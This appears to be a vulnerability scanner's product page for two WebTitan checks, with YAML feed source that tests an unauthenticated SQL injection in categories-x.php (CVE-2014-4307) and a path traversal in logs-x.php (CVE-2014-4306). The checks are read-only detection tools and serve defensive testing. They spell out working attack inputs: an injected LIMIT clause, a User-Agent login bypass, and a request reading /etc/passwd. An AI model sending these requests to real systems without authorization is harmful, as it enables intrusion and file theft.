WebTitan — 2 vulnerability checks

noctis ships 2 vulnerability checks for WebTitan, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

WebTitan categories-x.php sortkey SQL Injection

CVECVE-2014-4307
Severitycritical · CVSS 9.8
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/webtitan/CVE-2014-4307.yaml

Tests WebTitan web filter appliances older than 4.04 for the unauthenticated SQL injection in the sortkey parameter of categories-x.php, which is copied into the ORDER BY clause of the category list query. The check sends the requests with the "Shockwave Flash" User-Agent, which the appliance lets through without a login. It first requests the category list normally, then twice more with sortkey set to "name) limit N;--" for two random small values of N. The finding is reported only when each injected request returns exactly N categories while the normal request returns more, which shows that the appliance ran the LIMIT clause supplied in the parameter. Nothing is written and no data beyond the category list is read.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET /categories-x.php?getcategories&sortkey=name
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET /categories-x.php?getcategories&sortkey=name)%20limit%20{{rv.a}};--
  5. HTTP(S) request GET /categories-x.php?getcategories&sortkey=name)%20limit%20{{rv.b}};--
  6. Parses / computes the next value with a Rhai script
  7. Checks res.found for ^LIMIT$ → finding QoD 97: WebTitan categories-x.php sortkey SQL Injection (CVE-2014-4307)

References:

Feed source — tests/vulnerabilities/webtitan/CVE-2014-4307.yaml
# WebTitan categories-x.php sortkey SQL injection — CVE-2014-4307
#
# WebTitan before 4.04 (SEC Consult SA-20140606-0, found on 4.01 build 68)
# copies the sortkey parameter of categories-x.php?getcategories into the
# ORDER BY of the category list query without validation. The advisory PoC is
# sortkey=name) limit 1;-- . categories-x.php needs no session when the
# User-Agent is "Shockwave Flash" (the Flash UI's own requests), so the feed
# sends that User-Agent on every request.
#
# Detection — in-band LIMIT count proof, read-only:
#   1. baseline  sortkey=name                 → JSON list with N > b categories
#   2. sortkey=name) limit a;--               → exactly a categories
#   3. sortkey=name) limit b;--               → exactly b categories
#   a (1–3) and b (a+2 … a+4) are random, so only a server that runs our own
#   LIMIT clause as SQL returns exactly those counts. Nothing is read from the
#   database beyond the category list the page shows anyway.
#
# Improvements over the source NASL, which sends sortkey=name) limit 5;-- and
# only checks that the reply carries a category list ("records":…
# "categoryid":…"SYSTEM" + "totalRecords"):
#   - that pattern also matches a fixed 4.04 appliance (it validates sortkey and
#     still answers the full list), so the NASL reports patched systems; the
#     random LIMIT counts prove the injection itself (same idea as the Nessus
#     plugin's limit 1 / limit 3 split count);
#   - sends the advisory's "Shockwave Flash" User-Agent, without which
#     categories-x.php redirects to the login page on appliances where the
#     session check applies;
#   - no ">WebTitan<" / "Copperfasten Technologies" login page gate: the proof
#     is specific enough, and a rebranded login page is still tested.
#
# CVE mapping: the issue lists CVE-2014-4306 (logs-x.php path traversal) and
# CVE-2014-4307 (this SQL injection); the NASL request tests 4307 only. 4306
# has its own feed (CVE-2014-4306.yaml). CVSS: NVD v3.1 9.8 (issue said 7.5, the v2 score).
#
# Ported from OpenVAS/Greenbone NVT 2014/gb_webtitan_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.804469, GPL-2.0-only).
uid: ec76d5ab-0d0e-4368-8bd5-78616f6b6df9
name: "WebTitan categories-x.php sortkey SQL Injection (CVE-2014-4307)"
description: |
  Tests WebTitan web filter appliances older than 4.04 for the
  unauthenticated SQL injection in the sortkey parameter of
  categories-x.php, which is copied into the ORDER BY clause of the category
  list query. The check sends the requests with the "Shockwave Flash"
  User-Agent, which the appliance lets through without a login. It first
  requests the category list normally, then twice more with sortkey set to
  "name) limit N;--" for two random small values of N. The finding is
  reported only when each injected request returns exactly N categories while
  the normal request returns more, which shows that the appliance ran the
  LIMIT clause supplied in the parameter. Nothing is written and no data
  beyond the category list is read.
cves: [CVE-2014-4307]
cvss: 9.8
severity: critical
category: sqli
confidence_base: 0.20
tags: [webtitan, titanhq, web-filter, sqli, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-4307"
  - "https://sec-consult.com/vulnerability-lab/advisory/multiple-critical-vulnerabilities-in-webtitan/"
  - "https://seclists.org/fulldisclosure/2014/Jun/35"
  - "https://www.exploit-db.com/exploits/33699"

steps:
  # ── Random LIMIT values ─────────────────────────────────────────────────────
  - id: gen
    action: script
    code: |
      let a = rand_int(1, 3);
      #{ a: a, b: a + rand_int(2, 4) }
    store_as: rv

  # Pre-initialise every stored result read later: a failed request leaves
  # store_as unset and an undefined variable aborts the test.
  - id: init-base
    action: set_var
    var_name: base
    var_value: {status: 0, body: ""}
  - id: init-la
    action: set_var
    var_name: la
    var_value: {status: 0, body: ""}
  - id: init-lb
    action: set_var
    var_name: lb
    var_value: {status: 0, body: ""}

  # ── Baseline: the category list, more than b entries ───────────────────────
  - id: baseline
    action: http_request
    method: GET
    path: "/categories-x.php?getcategories&sortkey=name"
    port: "{{port}}"
    headers:
      User-Agent: "Shockwave Flash"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: base

  - id: count-base
    action: script
    code: |
      let n = if base.status == 200 && type_of(base.body) == "string" && base.body.contains("records") {
        split(base.body, "\"categoryid\"").len() - 1
      } else { 0 };
      #{ n: n, ok: n > rv.b }
    store_as: g

  # ── Injected LIMIT a, then LIMIT b ─────────────────────────────────────────
  - id: limit-a
    action: http_request
    method: GET
    path: "/categories-x.php?getcategories&sortkey=name)%20limit%20{{rv.a}};--"
    port: "{{port}}"
    headers:
      User-Agent: "Shockwave Flash"
    condition: "g.ok"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: la

  - id: limit-b
    action: http_request
    method: GET
    path: "/categories-x.php?getcategories&sortkey=name)%20limit%20{{rv.b}};--"
    port: "{{port}}"
    headers:
      User-Agent: "Shockwave Flash"
    condition: "g.ok"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: lb

  - id: check
    action: script
    code: |
      let na = if la.status == 200 && type_of(la.body) == "string" { split(la.body, "\"categoryid\"").len() - 1 } else { -1 };
      let nb = if lb.status == 200 && type_of(lb.body) == "string" { split(lb.body, "\"categoryid\"").len() - 1 } else { -1 };
      let hit = g.ok && na == rv.a && nb == rv.b;
      #{ na: na, nb: nb, found: if hit { "LIMIT" } else { "" } }
    store_as: res

  - id: report
    action: match
    source: res.found
    pattern: "^LIMIT$"
    on_match:
      finding:
        title: "WebTitan categories-x.php sortkey SQL Injection (CVE-2014-4307)"
        description: "The sortkey parameter of categories-x.php is injected into the category list SQL query without validation and without authentication: a LIMIT clause supplied in the parameter was executed by the database. An attacker can read or change the appliance database, including the administrator account data."
        remediation: "Upgrade WebTitan to 4.04 or later, and restrict access to the WebTitan management interface to trusted networks."
        confidence_delta: 0.75
        qod: 97
        evidence: "GET /categories-x.php?getcategories&sortkey=name) limit {{rv.a}};-- returned {{res.na}} categories and limit {{rv.b}} returned {{res.nb}}, while sortkey=name returned {{g.n}} (User-Agent: Shockwave Flash)"
      stop: true

WebTitan logs-x.php logfile Path Traversal

CVECVE-2014-4306
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, http_request, match, script · highest QoD 75
Feedtests/vulnerabilities/webtitan/CVE-2014-4306.yaml

Tests WebTitan web filter appliances older than 4.04 for the unauthenticated arbitrary file read in logs-x.php. The check sends POST /logs-x.php with jaction=download and logfile set to a relative path that climbs out of the log directory to /etc/passwd; the content of /etc/passwd in the reply confirms the file read. A control request for an absent random file through the same parameter must not return any passwd line, so a server that serves the same content on every request is not reported. Only the world-readable /etc/passwd is read. The account name (unless root), password field and gecos of the uid-0 line are redacted from the evidence.

How noctis detects it

  1. HTTP(S) request POST /logs-x.php with a crafted body
  2. Checks passwd_r.body for (?m)(?:^|>)([^:\r\n<>#]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[…
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request POST /logs-x.php with a crafted body
  5. Checks ctrl_r.body for (?m)(?:^|>)[^:\r\n<>#]+:[^:\r\n]*:0:[0-9]+:
  6. Checks proof for ^(?:root|<redacted>):<redacted>:0:[0-9]+: → finding QoD 75: WebTitan logs-x.php logfile Path Traversal (CVE-2014-4306)

References:

Feed source — tests/vulnerabilities/webtitan/CVE-2014-4306.yaml
# WebTitan logs-x.php logfile path traversal — CVE-2014-4306
#
# WebTitan before 4.04 (SEC Consult SA-20140606-0, found on 4.01 build 68)
# serves POST /logs-x.php jaction=download&logfile=<name> without a session
# and appends logfile to the log directory unchecked, so ../ reads any file
# the web server user can read. The advisory PoC is
#   POST /logs-x.php   jaction=download&logfile=../../../etc/passwd
#
# Detection (benign, read-only): the advisory's request with six ../ (deeper
# than the log directory, harmless at /) and a match on the CONTENT of
# /etc/passwd (FreeBSD: root:*:0:0:Charlie &:/root:/bin/csh). QoD 75.
# A control request for an absent random file whose name still contains
# "etc/passwd" must come back without a passwd line (blanket responders and
# honeypots keying on the substring are not reported; fail-closed: no control
# reply → no finding). The account name (unless root), password field and
# gecos of the uid-0 line are redacted before they reach the finding.
#
# Not in the source NASL, which only tests the categories-x.php SQL injection
# (CVE-2014-4307, own feed). The issue lists both CVEs; this feed proves 4306.
# CVSS: NVD v3.1 7.5.
#
# Issue source: OpenVAS/Greenbone NVT 2014/gb_webtitan_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.804469, GPL-2.0-only); request from the advisory.
uid: f5aff3e2-e6b0-4de3-ba81-b632d508414c
name: "WebTitan logs-x.php logfile Path Traversal (CVE-2014-4306)"
description: |
  Tests WebTitan web filter appliances older than 4.04 for the
  unauthenticated arbitrary file read in logs-x.php. The check sends
  POST /logs-x.php with jaction=download and logfile set to a relative path
  that climbs out of the log directory to /etc/passwd; the content of
  /etc/passwd in the reply confirms the file read. A control request for an
  absent random file through the same parameter must not return any passwd
  line, so a server that serves the same content on every request is not
  reported. Only the world-readable /etc/passwd is read. The account name
  (unless root), password field and gecos of the uid-0 line are redacted from
  the evidence.
cves: [CVE-2014-4306]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [webtitan, titanhq, web-filter, path-traversal, file-read, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-4306"
  - "https://sec-consult.com/vulnerability-lab/advisory/multiple-critical-vulnerabilities-in-webtitan/"
  - "https://seclists.org/fulldisclosure/2014/Jun/35"
  - "https://www.exploit-db.com/exploits/33699"

steps:
  # ── Pre-initialise every value read later (undefined vars abort/skip) ────
  - id: init-passwd-r
    action: set_var
    var_name: passwd_r
    var_value: {status: 0, body: ""}

  - id: init-proof
    action: set_var
    var_name: proof
    var_value: ""

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  # ── Read /etc/passwd through logfile ─────────────────────────────────────
  - id: read-passwd
    action: http_request
    method: POST
    path: "/logs-x.php"
    port: "{{port}}"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "jaction=download&logfile=../../../../../../etc/passwd"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: passwd_r

  # No on_match: the raw body must not become evidence.
  # name:pw:0:gid:gecos:home:shell — only the name, gid and home:shell are captured.
  - id: passwd-content
    action: match
    source: passwd_r.body
    pattern: "(?m)(?:^|>)([^:\\r\\n<>#]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
    store_as: passwd_m

  - id: passwd-redact
    action: script
    code: |
      if passwd_m.matched && passwd_m.captures.len() > 2 {
        if passwd_m.captures[0] == "root" {
          "root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
        } else {
          "<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
        }
      } else { "" }
    store_as: proof

  # ── Control: same parameter, absent random file — must NOT carry a passwd
  # line. The absent name still contains "etc/passwd", so a honeypot that
  # keys a fake file on that substring answers it too.
  - id: control
    action: http_request
    method: POST
    path: "/logs-x.php"
    port: "{{port}}"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "jaction=download&logfile=../../../../../../etc/passwd.noctis-absent-{{oob_token}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'proof != ""'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.body
    pattern: "(?m)(?:^|>)[^:\\r\\n<>#]+:[^:\\r\\n]*:0:[0-9]+:"
    condition: 'proof != ""'
    on_match:
      set_vars:
        ctrl_hit: true

  # ── Finding (control answered and stayed clean) ──────────────────────────
  - id: report-passwd
    action: match
    source: proof
    pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
    condition: "ctrl_r.status != 0 && ctrl_hit == false"
    on_match:
      finding:
        title: "WebTitan logs-x.php logfile Path Traversal (CVE-2014-4306)"
        description: "An unauthenticated POST to /logs-x.php with jaction=download and a logfile path climbing out of the log directory returned the content of /etc/passwd, while the same request for an absent file did not. The same flaw reads any other file the web server user can read, such as the appliance configuration."
        remediation: "Upgrade WebTitan to 4.04 or later, and restrict access to the WebTitan management interface to trusted networks."
        confidence_delta: 0.55
        qod: 75
        evidence: "POST /logs-x.php jaction=download&logfile=../../../../../../etc/passwd returned /etc/passwd; control for an absent file returned no passwd line ({{proof}})"
      stop: true

View these feeds on GitHub